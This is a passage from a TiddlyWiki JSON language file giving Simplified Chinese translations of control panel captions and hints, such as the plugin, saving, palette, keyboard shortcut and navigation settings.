        "$:/language/Buttons/Underline/Caption": {
            "title": "$:/language/Buttons/Underline/Caption",
            "text": "下划线"
        },
        "$:/language/Buttons/Underline/Hint": {
            "title": "$:/language/Buttons/Underline/Hint",
            "text": "套用下划线格式于所选文本"
        },
        "$:/language/ControlPanel/Advanced/Caption": {
            "title": "$:/language/ControlPanel/Advanced/Caption",
            "text": "高级"
        },
        "$:/language/ControlPanel/Advanced/Hint": {
            "title": "$:/language/ControlPanel/Advanced/Hint",
            "text": "关于此 TiddlyWiki 的内部信息"
        },
        "$:/language/ControlPanel/Appearance/Caption": {
            "title": "$:/language/ControlPanel/Appearance/Caption",
            "text": "视觉外观"
        },
        "$:/language/ControlPanel/Appearance/Hint": {
            "title": "$:/language/ControlPanel/Appearance/Hint",
            "text": "定制您的 TiddlyWiki 外观。"
        },
        "$:/language/ControlPanel/Basics/AnimDuration/Prompt": {
            "title": "$:/language/ControlPanel/Basics/AnimDuration/Prompt",
            "text": "动画持续时间:"
        },
        "$:/language/ControlPanel/Basics/Caption": {
            "title": "$:/language/ControlPanel/Basics/Caption",
            "text": "基本"
        },
        "$:/language/ControlPanel/Basics/DefaultTiddlers/BottomHint": {
            "title": "$:/language/ControlPanel/Basics/DefaultTiddlers/BottomHint",
            "text": "标题含空白时请使用 &#91;&#91;双中括弧&#93;&#93;,或者您可用 <$button set=\"$:/DefaultTiddlers\" setTo=\"[list[$:/StoryList]]\">保留开启中的条目顺序</$button>"
        },
        "$:/language/ControlPanel/Basics/DefaultTiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/DefaultTiddlers/Prompt",
            "text": "首页:"
        },
        "$:/language/ControlPanel/Basics/DefaultTiddlers/TopHint": {
            "title": "$:/language/ControlPanel/Basics/DefaultTiddlers/TopHint",
            "text": "默认开启的条目:"
        },
        "$:/language/ControlPanel/Basics/Language/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Language/Prompt",
            "text": "您好!当前的语言:"
        },
        "$:/language/ControlPanel/Basics/NewJournal/Tags/Prompt": {
            "title": "$:/language/ControlPanel/Basics/NewJournal/Tags/Prompt",
            "text": "新日志条目的标签"
        },
        "$:/language/ControlPanel/Basics/NewJournal/Text/Prompt": {
            "title": "$:/language/ControlPanel/Basics/NewJournal/Text/Prompt",
            "text": "新日志条目的内容"
        },
        "$:/language/ControlPanel/Basics/NewJournal/Title/Prompt": {
            "title": "$:/language/ControlPanel/Basics/NewJournal/Title/Prompt",
            "text": "新日志条目的名称"
        },
        "$:/language/ControlPanel/Basics/NewTiddler/Title/Prompt": {
            "title": "$:/language/ControlPanel/Basics/NewTiddler/Title/Prompt",
            "text": "新条目的名称"
        },
        "$:/language/ControlPanel/Basics/OverriddenShadowTiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/OverriddenShadowTiddlers/Prompt",
            "text": "被覆写的默认条目数量:"
        },
        "$:/language/ControlPanel/Basics/ShadowTiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/ShadowTiddlers/Prompt",
            "text": "默认条目数量:"
        },
        "$:/language/ControlPanel/Basics/Subtitle/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Subtitle/Prompt",
            "text": "副标题:"
        },
        "$:/language/ControlPanel/Basics/SystemTiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/SystemTiddlers/Prompt",
            "text": "系统条目数量:"
        },
        "$:/language/ControlPanel/Basics/Tags/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Tags/Prompt",
            "text": "标签数量:"
        },
        "$:/language/ControlPanel/Basics/Tiddlers/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Tiddlers/Prompt",
            "text": "一般条目数量:"
        },
        "$:/language/ControlPanel/Basics/Title/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Title/Prompt",
            "text": "标题:"
        },
        "$:/language/ControlPanel/Basics/Username/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Username/Prompt",
            "text": "编辑者署名:"
        },
        "$:/language/ControlPanel/Basics/Version/Prompt": {
            "title": "$:/language/ControlPanel/Basics/Version/Prompt",
            "text": "~TiddlyWiki 版本:"
        },
        "$:/language/ControlPanel/EditorTypes/Caption": {
            "title": "$:/language/ControlPanel/EditorTypes/Caption",
            "text": "编辑器类型"
        },
        "$:/language/ControlPanel/EditorTypes/Editor/Caption": {
            "title": "$:/language/ControlPanel/EditorTypes/Editor/Caption",
            "text": "编辑器"
        },
        "$:/language/ControlPanel/EditorTypes/Hint": {
            "title": "$:/language/ControlPanel/EditorTypes/Hint",
            "text": "这些条目决定使用哪个编辑器来编辑特定条目类型。"
        },
        "$:/language/ControlPanel/EditorTypes/Type/Caption": {
            "title": "$:/language/ControlPanel/EditorTypes/Type/Caption",
            "text": "类型"
        },
        "$:/language/ControlPanel/Info/Caption": {
            "title": "$:/language/ControlPanel/Info/Caption",
            "text": "信息"
        },
        "$:/language/ControlPanel/Info/Hint": {
            "title": "$:/language/ControlPanel/Info/Hint",
            "text": "有关此 TiddlyWiki 的信息"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Add/Prompt": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Add/Prompt",
            "text": "在此输入快捷键"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Add/Caption": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Add/Caption",
            "text": "添加快捷键"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Caption": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Caption",
            "text": "快捷键"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Hint": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Hint",
            "text": "管理键盘快捷键分配"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/NoShortcuts/Caption": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/NoShortcuts/Caption",
            "text": "尚无指定快捷键"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Remove/Hint": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Remove/Hint",
            "text": "删除快捷键"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/All": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/All",
            "text": "所有平台"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/Mac": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Mac",
            "text": "仅 Macintosh 平台"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonMac": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonMac",
            "text": "仅非 Macintosh 平台"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/Linux": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Linux",
            "text": "仅 Linux 平台"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonLinux": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonLinux",
            "text": "仅非 Linux 平台"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/Windows": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/Windows",
            "text": "仅 Windows 平台"
        },
        "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonWindows": {
            "title": "$:/language/ControlPanel/KeyboardShortcuts/Platform/NonWindows",
            "text": "仅非 Windows 平台"
        },
        "$:/language/ControlPanel/LoadedModules/Caption": {
            "title": "$:/language/ControlPanel/LoadedModules/Caption",
            "text": "已加载的模块"
        },
        "$:/language/ControlPanel/LoadedModules/Hint": {
            "title": "$:/language/ControlPanel/LoadedModules/Hint",
            "text": "这些是当前已加载的模块之源码条目。斜体的模块则无源码条目,通常是因为它们是在引导过程中设置。"
        },
        "$:/language/ControlPanel/Palette/Caption": {
            "title": "$:/language/ControlPanel/Palette/Caption",
            "text": "调色板"
        },
        "$:/language/ControlPanel/Palette/Editor/Clone/Caption": {
            "title": "$:/language/ControlPanel/Palette/Editor/Clone/Caption",
            "text": "复制"
        },
        "$:/language/ControlPanel/Palette/Editor/Clone/Prompt": {
            "title": "$:/language/ControlPanel/Palette/Editor/Clone/Prompt",
            "text": "建议您修改前先复制此默认调色板"
        },
        "$:/language/ControlPanel/Palette/Editor/Prompt/Modified": {
            "title": "$:/language/ControlPanel/Palette/Editor/Prompt/Modified",
            "text": "此默认调色板已被修改过"
        },
        "$:/language/ControlPanel/Palette/Editor/Prompt": {
            "title": "$:/language/ControlPanel/Palette/Editor/Prompt",
            "text": "编辑"
        },
        "$:/language/ControlPanel/Palette/Editor/Reset/Caption": {
            "title": "$:/language/ControlPanel/Palette/Editor/Reset/Caption",
            "text": "重置"
        },
        "$:/language/ControlPanel/Palette/HideEditor/Caption": {
            "title": "$:/language/ControlPanel/Palette/HideEditor/Caption",
            "text": "隐藏编辑器"
        },
        "$:/language/ControlPanel/Palette/Prompt": {
            "title": "$:/language/ControlPanel/Palette/Prompt",
            "text": "当前的调色板:"
        },
        "$:/language/ControlPanel/Palette/ShowEditor/Caption": {
            "title": "$:/language/ControlPanel/Palette/ShowEditor/Caption",
            "text": "显示编辑器"
        },
        "$:/language/ControlPanel/Plugins/Add/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Add/Hint",
            "text": "从官方插件库安装插件"
        },
        "$:/language/ControlPanel/Plugins/Add/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Add/Caption",
            "text": "获取更多插件"
        },
        "$:/language/ControlPanel/Plugins/AlreadyInstalled/Hint": {
            "title": "$:/language/ControlPanel/Plugins/AlreadyInstalled/Hint",
            "text": "此插件已经安装版本 <$text text=<<installedVersion>>/>"
        },
        "$:/language/ControlPanel/Plugins/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Caption",
            "text": "插件"
        },
        "$:/language/ControlPanel/Plugins/Disable/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Disable/Caption",
            "text": "禁用"
        },
        "$:/language/ControlPanel/Plugins/Disable/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Disable/Hint",
            "text": "重新加载页面时禁用此插件"
        },
        "$:/language/ControlPanel/Plugins/Disabled/Status": {
            "title": "$:/language/ControlPanel/Plugins/Disabled/Status",
            "text": "(已禁用)"
        },
        "$:/language/ControlPanel/Plugins/Empty/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Empty/Hint",
            "text": "无"
        },
        "$:/language/ControlPanel/Plugins/Enable/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Enable/Caption",
            "text": "启用"
        },
        "$:/language/ControlPanel/Plugins/Enable/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Enable/Hint",
            "text": "重新加载页面时启用此插件"
        },
        "$:/language/ControlPanel/Plugins/Install/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Install/Caption",
            "text": "安装"
        },
        "$:/language/ControlPanel/Plugins/Installed/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Installed/Hint",
            "text": "当前已安装的插件:"
        },
        "$:/language/ControlPanel/Plugins/Languages/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Languages/Caption",
            "text": "语言"
        },
        "$:/language/ControlPanel/Plugins/Languages/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Languages/Hint",
            "text": "语言包插件"
        },
        "$:/language/ControlPanel/Plugins/NoInfoFound/Hint": {
            "title": "$:/language/ControlPanel/Plugins/NoInfoFound/Hint",
            "text": "无 ''\"<$text text=<<currentTab>>/>\"''"
        },
        "$:/language/ControlPanel/Plugins/NoInformation/Hint": {
            "title": "$:/language/ControlPanel/Plugins/NoInformation/Hint",
            "text": "未提供信息"
        },
        "$:/language/ControlPanel/Plugins/NotInstalled/Hint": {
            "title": "$:/language/ControlPanel/Plugins/NotInstalled/Hint",
            "text": "尚未安装此插件"
        },
        "$:/language/ControlPanel/Plugins/OpenPluginLibrary": {
            "title": "$:/language/ControlPanel/Plugins/OpenPluginLibrary",
            "text": "开启插件程式库"
        },
        "$:/language/ControlPanel/Plugins/ClosePluginLibrary": {
            "title": "$:/language/ControlPanel/Plugins/ClosePluginLibrary",
            "text": "关闭插件程式库"
        },
        "$:/language/ControlPanel/Plugins/Plugins/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Plugins/Caption",
            "text": "插件"
        },
        "$:/language/ControlPanel/Plugins/Plugins/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Plugins/Hint",
            "text": "插件"
        },
        "$:/language/ControlPanel/Plugins/Reinstall/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Reinstall/Caption",
            "text": "重新安装"
        },
        "$:/language/ControlPanel/Plugins/Themes/Caption": {
            "title": "$:/language/ControlPanel/Plugins/Themes/Caption",
            "text": "布景主题"
        },
        "$:/language/ControlPanel/Plugins/Themes/Hint": {
            "title": "$:/language/ControlPanel/Plugins/Themes/Hint",
            "text": "布景主题插件"
        },
        "$:/language/ControlPanel/Parsing/Caption": {
            "title": "$:/language/ControlPanel/Parsing/Caption",
            "text": "解析"
        },
        "$:/language/ControlPanel/Parsing/Hint": {
            "title": "$:/language/ControlPanel/Parsing/Hint",
            "text": "在此您可以全域禁用或启用维基解析规则。要使更改生效,请保存并重新加载您的维基。禁用某些解析规则,会妨碍 <$text text=\"TiddlyWiki\"/> 正常运作。可使用[[安全模式|https://tiddlywiki.com/#SafeMode]]恢复正常操作。"
        },
        "$:/language/ControlPanel/Parsing/Block/Caption": {
            "title": "$:/language/ControlPanel/Parsing/Block/Caption",
            "text": "区块解析规则"
        },
        "$:/language/ControlPanel/Parsing/Inline/Caption": {
            "title": "$:/language/ControlPanel/Parsing/Inline/Caption",
            "text": "内联解析规则"
        },
        "$:/language/ControlPanel/Parsing/Pragma/Caption": {
            "title": "$:/language/ControlPanel/Parsing/Pragma/Caption",
            "text": "编译指示解析规则"
        },
        "$:/language/ControlPanel/Saving/Caption": {
            "title": "$:/language/ControlPanel/Saving/Caption",
            "text": "保存"
        },
        "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Description": {
            "title": "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Description",
            "text": "允许下载保存模块的自动保存"
        },
        "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Hint": {
            "title": "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Hint",
            "text": "启用下载保存模块的自动保存"
        },
        "$:/language/ControlPanel/Saving/DownloadSaver/Caption": {
            "title": "$:/language/ControlPanel/Saving/DownloadSaver/Caption",
            "text": "下载保存模块"
        },
        "$:/language/ControlPanel/Saving/DownloadSaver/Hint": {
            "title": "$:/language/ControlPanel/Saving/DownloadSaver/Hint",
            "text": "这些设置适用于兼容 HTML5 的下载保存模块"
        },
        "$:/language/ControlPanel/Saving/General/Caption": {
            "title": "$:/language/ControlPanel/Saving/General/Caption",
            "text": "通用"
        },
        "$:/language/ControlPanel/Saving/General/Hint": {
            "title": "$:/language/ControlPanel/Saving/General/Hint",
            "text": "这些设置适用于所有已载入的保存模块"
        },
        "$:/language/ControlPanel/Saving/Hint": {
            "title": "$:/language/ControlPanel/Saving/Hint",
            "text": "用于通过保存模块将整个 TiddlyWiki 保存为单个文件的设置"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Advanced/Heading": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Advanced/Heading",
            "text": "高级设置"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/BackupDir": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/BackupDir",
            "text": "备份文件夹"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Backups": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Backups",
            "text": "备份"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Caption": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Caption",
            "text": "~TiddlySpot 保存模块"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Description": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Description",
            "text": "这些设置只适用于保存到 http://tiddlyspot.com 或兼容的远程服务器时。"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Filename": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Filename",
            "text": "上传文件名"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Heading": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Heading",
            "text": "~TiddlySpot"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Hint": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Hint",
            "text": "//默认之服务器网址 `http://<wikiname>.tiddlyspot.com/store.cgi`,可改为定制之服务器网址,例如 `http://example.com/store.php`。//"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/Password": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/Password",
            "text": "密码"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/ServerURL": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/ServerURL",
            "text": "服务器网址"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/UploadDir": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/UploadDir",
            "text": "上传文件夹"
        },
        "$:/language/ControlPanel/Saving/TiddlySpot/UserName": {
            "title": "$:/language/ControlPanel/Saving/TiddlySpot/UserName",
            "text": "用户"
        },
        "$:/language/ControlPanel/Settings/AutoSave/Caption": {
            "title": "$:/language/ControlPanel/Settings/AutoSave/Caption",
            "text": "自动保存"
        },
        "$:/language/ControlPanel/Settings/AutoSave/Disabled/Description": {
            "title": "$:/language/ControlPanel/Settings/AutoSave/Disabled/Description",
            "text": "不要自动保存变更"
        },
        "$:/language/ControlPanel/Settings/AutoSave/Enabled/Description": {
            "title": "$:/language/ControlPanel/Settings/AutoSave/Enabled/Description",
            "text": "自动保存变更"
        },
        "$:/language/ControlPanel/Settings/AutoSave/Hint": {
            "title": "$:/language/ControlPanel/Settings/AutoSave/Hint",
            "text": "当使用支持的保存模块时,在编辑期间尝试自动保存变更"
        },
        "$:/language/ControlPanel/Settings/CamelCase/Caption": {
            "title": "$:/language/ControlPanel/Settings/CamelCase/Caption",
            "text": "驼峰式维基链接"
        },
        "$:/language/ControlPanel/Settings/CamelCase/Hint": {
            "title": "$:/language/ControlPanel/Settings/CamelCase/Hint",
            "text": "您可以全域禁用驼峰式短语自动链接。须保存后重新加载,方才生效。"
        },
        "$:/language/ControlPanel/Settings/CamelCase/Description": {
            "title": "$:/language/ControlPanel/Settings/CamelCase/Description",
            "text": "启用自动驼峰式链接"
        },
        "$:/language/ControlPanel/Settings/Caption": {
            "title": "$:/language/ControlPanel/Settings/Caption",
            "text": "设置"
        },
        "$:/language/ControlPanel/Settings/DefaultSidebarTab/Caption": {
            "title": "$:/language/ControlPanel/Settings/DefaultSidebarTab/Caption",
            "text": "默认侧边栏页签"
        },
        "$:/language/ControlPanel/Settings/DefaultSidebarTab/Hint": {
            "title": "$:/language/ControlPanel/Settings/DefaultSidebarTab/Hint",
            "text": "指定默认显示的侧边栏页签"
        },
        "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Caption": {
            "title": "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Caption",
            "text": "更多侧边栏的默认页签"
        },
        "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Hint": {
            "title": "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Hint",
            "text": "指定默认显示的更多侧栏页签"
        },
        "$:/language/ControlPanel/Settings/EditorToolbar/Caption": {
            "title": "$:/language/ControlPanel/Settings/EditorToolbar/Caption",
            "text": "编辑器工具栏"
        },
        "$:/language/ControlPanel/Settings/EditorToolbar/Hint": {
            "title": "$:/language/ControlPanel/Settings/EditorToolbar/Hint",
            "text": "启用或禁用编辑器工具栏︰"
        },
        "$:/language/ControlPanel/Settings/EditorToolbar/Description": {
            "title": "$:/language/ControlPanel/Settings/EditorToolbar/Description",
            "text": "显示编辑器工具栏"
        },
        "$:/language/ControlPanel/Settings/InfoPanelMode/Caption": {
            "title": "$:/language/ControlPanel/Settings/InfoPanelMode/Caption",
            "text": "条目信息面板模式"
        },
        "$:/language/ControlPanel/Settings/InfoPanelMode/Hint": {
            "title": "$:/language/ControlPanel/Settings/InfoPanelMode/Hint",
            "text": "控制条目信息面板何时关闭︰"
        },
        "$:/language/ControlPanel/Settings/InfoPanelMode/Popup/Description": {
            "title": "$:/language/ControlPanel/Settings/InfoPanelMode/Popup/Description",
            "text": "条目信息面板自动关闭"
        },
        "$:/language/ControlPanel/Settings/InfoPanelMode/Sticky/Description": {
            "title": "$:/language/ControlPanel/Settings/InfoPanelMode/Sticky/Description",
            "text": "条目信息面板保持打开状态,直到明确关闭"
        },
        "$:/language/ControlPanel/Settings/Hint": {
            "title": "$:/language/ControlPanel/Settings/Hint",
            "text": "这些高级设置让您定制 TiddlyWiki 的行为。"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/Caption": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/Caption",
            "text": "条目开启行为"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/InsideRiver/Hint": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/InsideRiver/Hint",
            "text": "从故事河//中//导航"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OutsideRiver/Hint": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OutsideRiver/Hint",
            "text": "从故事河//外//导航"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAbove": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAbove",
            "text": "开启于当前条目之上"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenBelow": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenBelow",
            "text": "开启于当前条目之下"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtTop": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtTop",
            "text": "开启于故事河的顶端"
        },
        "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtBottom": {
            "title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtBottom",
            "text": "开启于故事河的底部"
        },
        "$:/language/ControlPanel/Settings/MissingLinks/Caption": {
            "title": "$:/language/ControlPanel/Settings/MissingLinks/Caption",
            "text": "维基链接"
        },
        "$:/language/ControlPanel/Settings/MissingLinks/Hint": {
            "title": "$:/language/ControlPanel/Settings/MissingLinks/Hint",
            "text": "选择是否要链接到尚未存在的条目"
        },
        "$:/language/ControlPanel/Settings/MissingLinks/Description": {
            "title": "$:/language/ControlPanel/Settings/MissingLinks/Description",
            "text": "启用链接到佚失条目"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/Caption": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Caption",
            "text": "网址栏导览"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/Hint": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Hint",
            "text": "在浏览器网址栏导览到条目时的行为:"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/No/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/No/Description",
            "text": "不更新网址栏"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/Permalink/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Permalink/Description",
            "text": "包含目标条目"
        },
        "$:/language/ControlPanel/Settings/NavigationAddressBar/Permaview/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Permaview/Description",
            "text": "包括目标条目和当前已开启的条目序列"
        },
        "$:/language/ControlPanel/Settings/NavigationHistory/Caption": {
            "title": "$:/language/ControlPanel/Settings/NavigationHistory/Caption",
            "text": "历史记录导览"
        },
        "$:/language/ControlPanel/Settings/NavigationHistory/Hint": {
            "title": "$:/language/ControlPanel/Settings/NavigationHistory/Hint",
            "text": "当导览到条目时,更新浏览器历史记录:"
        },
        "$:/language/ControlPanel/Settings/NavigationHistory/No/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationHistory/No/Description",
            "text": "不更新历史记录"
        },
        "$:/language/ControlPanel/Settings/NavigationHistory/Yes/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationHistory/Yes/Description",
            "text": "更新历史记录"
        },
        "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Caption": {
            "title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Caption",
            "text": "引用链接/固定链接 模式"
        },
        "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Hint": {
            "title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Hint",
            "text": "选择 引用链接/固定链接 的处理方式:"
        },
        "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/CopyToClipboard/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/CopyToClipboard/Description",
            "text": "将 引用链接/固定链接 网址复制到剪贴板"
        },
        "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/UpdateAddressBar/Description": {
            "title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/UpdateAddressBar/Description",
            "text": "以 引用链接/固定链接 更新网址栏"
        },
        "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Caption": {
            "title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Caption",
            "text": "性能检测"
        },
        "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Hint": {
            "title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Hint",
            "text": "在浏览器的开发人员控制台,显示性能统计数据。需要重新加载才能生效。"
        },
        "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Description": {
            "title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Description",
            "text": "启用性能检测"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Caption": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Caption",
            "text": "工具栏按钮样式"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Hint": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Hint",
            "text": "选择工具栏按钮的样式:"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Borderless": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Borderless",
            "text": "无边框"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Boxed": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Boxed",
            "text": "方框"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Rounded": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Rounded",
            "text": "圆形"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtons/Caption": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtons/Caption",
            "text": "工具栏按钮"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtons/Hint": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtons/Hint",
            "text": "默认的工具栏按钮外观:"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtons/Icons/Description": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtons/Icons/Description",
            "text": "包含图标"
        },
        "$:/language/ControlPanel/Settings/ToolbarButtons/Text/Description": {
            "title": "$:/language/ControlPanel/Settings/ToolbarButtons/Text/Description",
            "text": "包含文本"
        },
        "$:/language/ControlPanel/Settings/TitleLinks/Caption": {
            "title": "$:/language/ControlPanel/Settings/TitleLinks/Caption",
            "text": "条目标题"
        },
        "$:/language/ControlPanel/Settings/TitleLinks/Hint": {
            "title": "$:/language/ControlPanel/Settings/TitleLinks/Hint",
            "text": "可选地显示条目标题为链接"
        },
        "$:/language/ControlPanel/Settings/TitleLinks/No/Description": {
            "title": "$:/language/ControlPanel/Settings/TitleLinks/No/Description",
            "text": "不显示条目标题为链接"
        },
        "$:/language/ControlPanel/Settings/TitleLinks/Yes/Description": {
            "title": "$:/language/ControlPanel/Settings/TitleLinks/Yes/Description",
            "text": "显示条目标题为链接"
        },
        "$:/language/ControlPanel/StoryView/Caption": {
            "title": "$:/language/ControlPanel/StoryView/Caption",
            "text": "查看模式"
        },
        "$:/language/ControlPanel/StoryView/Prompt": {
            "title": "$:/language/ControlPanel/StoryView/Prompt",
            "text": "当前的查看模式:"
        },
        "$:/language/ControlPanel/Stylesheets/Caption": {
            "title": "$:/language/ControlPanel/Stylesheets/Caption",
            "text": "样式表"
        },
        "$:/language/ControlPanel/Stylesheets/Expand/Caption": {
            "title": "$:/language/ControlPanel/Stylesheets/Expand/Caption",
            "text": "全部展开"
        },
        "$:/language/ControlPanel/Stylesheets/Hint": {
            "title": "$:/language/ControlPanel/Stylesheets/Hint",
            "text": "这是当前标签为 <<tag \"$:/tags/Stylesheet\">> 的样式表条目呈现的 CSS"
        },
        "$:/language/ControlPanel/Stylesheets/Restore/Caption": {
            "title": "$:/language/ControlPanel/Stylesheets/Restore/Caption",
            "text": "复原"
        },
        "$:/language/ControlPanel/Theme/Caption": {
            "title": "$:/language/ControlPanel/Theme/Caption",
            "text": "布景主题"
        },
        "$:/language/ControlPanel/Theme/Prompt": {
            "title": "$:/language/ControlPanel/Theme/Prompt",
            "text": "当前的布景主题:"
        },
        "$:/language/ControlPanel/TiddlerFields/Caption": {
            "title": "$:/language/ControlPanel/TiddlerFields/Caption",
            "text": "条目栏位"
        },
        "$:/language/ControlPanel/TiddlerFields/Hint": {
            "title": "$:/language/ControlPanel/TiddlerFields/Hint",
            "text": "这是本维基使用中的所有条目栏位(含系统条目的栏位,但默认条目的栏位除外)。"
        },
        "$:/language/ControlPanel/Toolbars/Caption": {
